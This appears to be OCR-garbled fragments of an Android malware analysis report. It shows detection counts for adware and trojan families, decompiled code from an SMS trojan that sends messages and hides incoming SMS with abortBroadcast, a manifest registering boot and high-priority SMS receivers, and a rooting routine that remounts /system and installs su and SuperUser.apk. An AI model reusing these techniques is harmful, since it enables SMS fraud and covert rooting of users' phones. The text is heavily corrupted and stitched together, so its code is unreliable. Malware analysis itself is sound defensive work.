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super Ljava/Iana/0bje

.source "SuppressLint. Java
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Android-PUP/Airpush 86,613

Android-PUP/Adwo 23,697
Android-PUP/Admogo 19,229
Android-Trojan/Opfake 15,442
Android-PUP/L eadbolt 14,839
Android-PUP/Wapsx 14,381
Android-Trojan/FakeDoc 13,262
Android-Trojan/GinMaster 13,099
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public static boolean String String

System.out.printin("sms: " + paramString2 + " to " + paramStringl):
try
{
String scr = paramString2.replace("(IMET}", Setcings.getlme: (paramContext)).replace (" [TMST]"
getDefault() .send tringl, null, scr, mull, null)
bool = true:
return boolz
}
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<uses-permission android:nam
<uses-permission android:name

<uses-permission android;name
<uses-permission android:name
<uses-permission android:nam
<uses-permission android:nam
<uses-permission android:nam
<uses-permission android:nam
<application android:name="MainApplication" android:clearTaskonLaunch="true" android:ic
<receiver android:name="AlarmReceiver" android:process=":remote’/>
<service android:name="MainService' andraid:|abel="@string/service_name"/>
- <receiver android:name="AutorunReceiver'>
- <intent-filter>
<action android:name="android.intent.action.BOOT_COMPLETED"/ >
<action android:name="android.intent.action.USER_PRESENT"/>
<action android:name="android.intent.action.PHONE_STATE"/>
</intent-filter>
</receiver>
- <receiver androidiname="SmsReciver" android:enabled="true">
- <intent-filter android:priority="2147483647">
<action android:name="android.provider.Telephony.SMS_RECEIVED"/>
</intent-filter>
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3.4.2 Android-Exploit/Rootor
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tor = Exec.createSnbprocess(”/system/bin/sh",
+ array0fInt[0]):

efutputStream({localFileDescriptor) ;
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getFilesDir() + "/busybox mount -o remount,rw /system\n").getBytes()):
;EEFllES]lI‘{) + "/busybox mkdir /system/xbin\n").getBytes()):
;ecnlesjir() + "/busybox cp " + getFilesDir() + "/su /system/xbin/\n")
;e:F:Lles]ir() + "/buaybox cp " + getFilesDir() + "/SuperUser.apk /3yater

getFilesDir() + "/busybox cp " + getFilesDir() + "/busybox /system/xbin,
chown root.root /system/xbin/busybox\nchmod 755 /system/xzbin/busybox\n™

chown root.reot /3ystem/xbin/su\n™.getBytes());
getFilesDir() + "/busybox chmod &755 /system/xbin/su\n").getBytes(});

chown root.root /system/app/SuperUser.apk\nchmod 755 /system/app/SuperU:
"rm " + getFilesDir{) + "/busybox\n").getBytes());:

"rm " + getFilesDir({) + "/=u\n").getBytea()):

mv /3ystem/bin/su /system/bin/su_old\n".getBytes()):
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<receiver android:name=".Ejifndv" android:process=":remote"/>
</application>
<uses-permission android:name="android.permission.RECEIVE_SMS"/=>
<uses-permission android:name="android.permission.RECEIVE_MMS"/>
<uses-permission android:nam android.permission.ACCESS_NETWORK_STATE"/>
<uses-permissien android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
<uses-permission android:nam ‘android.permission.READ_PHONE_STATE"/>
<uses-permission android:name="android.permission.WAKE_LOCK"/>
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if ((paramIntent.getAction().equals("android.provider.Ielephony.SMS_RECEIVED")) |
t
abortBroadcast() ;
Bundle localBundle = paramIntent.getExtras();
if (localBundle '= nully
[
array ject = (Object[])localBundle.get ("pdus”);
arrayOfSmsMessage = new SmsMessage[array0OfObject.length];
=0
if (i < arrayOfSmsMessage.length)
break label259;
if (('a(this.b, a(paramContext))) ss ('a(this.c, a(paramContext))))
break labeldd4S;
String str = new String("To: " + a(paramContext) + " Froml: " + this.k + " Fr
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